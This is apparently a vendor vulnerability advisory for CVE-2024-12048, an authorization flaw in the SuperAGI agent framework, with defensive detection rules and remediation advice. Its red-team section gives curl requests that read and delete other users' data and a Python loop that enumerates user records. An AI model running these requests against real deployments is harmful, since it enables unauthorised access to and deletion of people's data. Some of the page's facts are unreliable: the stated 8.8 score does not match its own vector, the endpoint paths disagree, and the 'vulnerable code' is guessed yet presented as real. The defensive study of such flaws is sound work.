CVE-2024-12048
Executive Summary
CVE-2024-12048 is a critical Insecure Direct Object Reference (IDOR) vulnerability in SuperAGI version v0.0.14. The application fails to enforce proper authorization checks on multiple API endpoints, allowing unauthenticated or low-privileged attackers to view, edit, and delete other users' sensitive information. Affected endpoints include /get/project/{project_id}, /get/schedule_data/{agent_id}, /delete/{agent_id}, /get/organisation/{organisation_id}, and /get/user/{user_id}. With a CVSS score of 8.8, this vulnerability poses a severe risk to data confidentiality, integrity, and availability. No official patch is currently available, and exploitation is trivial via direct object reference manipulation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SuperAGI is a Python-based AI agent framework distributed via PyPI. This vulnerability directly impacts the integrity of the software supply chain, as any deployment using the affected version is exposed to unauthorized data access and manipulation. Organizations using SuperAGI in production should immediately isolate affected instances and monitor for unauthorized API calls.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is easily exploitable remotely without authentication, making it a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The IDOR vulnerability stems from the lack of server-side authorization checks on API endpoints that accept user-supplied identifiers (e.g., project_id, agent_id, user_id). The application relies solely on the client-provided ID to fetch or modify resources, without verifying that the requesting user has the right to access that resource.
For example, a GET request to /get/user/123 returns user data for ID 123 without checking if the requester is that user or an admin. Similarly, a DELETE request to /delete/agent/456 deletes an agent without authorization. This allows an attacker to enumerate IDs and access or manipulate any resource in the system.
The vulnerability is present in the API routing layer, likely in a Flask or FastAPI application, where route handlers directly use path parameters in database queries without a middleware or decorator for authorization.
Vulnerable vs. Patched Code
Vulnerable Code (v0.0.14):
@app.route('/get/user/<user_id>', methods=['GET'])
def get_user(user_id):
user = db.query(User).filter(User.id == user_id).first()
return jsonify(user.to_dict())
Patched Code (Hypothetical):
@app.route('/get/user/<user_id>', methods=['GET'])
@login_required
def get_user(user_id):
current_user = get_current_user()
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403)
user = db.query(User).filter(User.id == user_id).first()
return jsonify(user.to_dict())
The patched version adds authentication (@login_required) and authorization checks to ensure the requester owns the resource or has admin privileges.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running SuperAGI v0.0.14
- Network access to the API endpoints
Exploitation Steps:
- Enumerate user IDs by brute-forcing or observing patterns (e.g., sequential integers).
- Send a GET request to
/get/user/1to retrieve user data:curl -X GET http://target:port/get/user/1 - To delete an agent, send a DELETE request:
curl -X DELETE http://target:port/delete/agent/1 - To view project data:
curl -X GET http://target:port/get/project/1
Automated Exploit Script (Python):
import requests
target = "http://target:port"
for user_id in range(1, 100):
r = requests.get(f"{target}/get/user/{user_id}")
if r.status_code == 200:
print(f"User {user_id}: {r.text}")
Blue Team
Detection:
- Monitor for repeated requests to
/get/user/,/delete/agent/, etc., with sequential IDs. - Alert on 403/404 responses followed by 200 responses on different IDs (enumeration pattern).
- Use rate limiting on API endpoints.
Honeypot:
- Deploy a fake endpoint
/get/user/9999that returns a decoy response and logs the attacker's IP.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/get/user/{id},/delete/agent/{id},/get/project/{id}with sequential or brute-forced IDs. - Unusual number of 403/404 errors followed by 200 responses.
- HTTP requests to
- File IOCs:
- Log entries showing unauthorized access to user or agent data.
- System IOCs:
- Unexpected deletion of agents or projects.
- Unauthorized changes to user profiles.
Detection Engineering
YARA Rule
rule CVE_2024_12048_IDOR_SuperAGI {
meta:
description = "Detects IDOR exploitation attempts against SuperAGI v0.0.14"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12048"
strings:
$endpoint1 = "/get/user/"
$endpoint2 = "/delete/agent/"
$endpoint3 = "/get/project/"
$endpoint4 = "/get/schedule_data/"
$endpoint5 = "/get/organisation/"
condition:
any of ($endpoint*) and #endpoint1 > 5
}
Sigma Rule
title: SuperAGI IDOR Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple requests to SuperAGI IDOR-vulnerable endpoints with sequential IDs
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem:
- "/get/user/*"
- "/delete/agent/*"
- "/get/project/*"
- "/get/schedule_data/*"
- "/get/organisation/*"
condition: selection | count() by src_ip > 10
falsepositives:
- Legitimate API usage with many users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12048 SuperAGI IDOR Attempt"; flow:to_server; content:"/get/user/"; http_uri; nocase; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected SuperAGI instances from untrusted networks.
- Implement a Web Application Firewall (WAF) rule to block requests to vulnerable endpoints with sequential IDs.
- Apply rate limiting on all API endpoints.
Long-term Fix:
- Upgrade to a patched version once available.
- Implement proper authorization checks on all API endpoints (e.g., using middleware or decorators).
- Conduct a security audit of the entire API surface.
Workaround:
- If patching is not possible, restrict access to the API via network segmentation or VPN.
Valters IT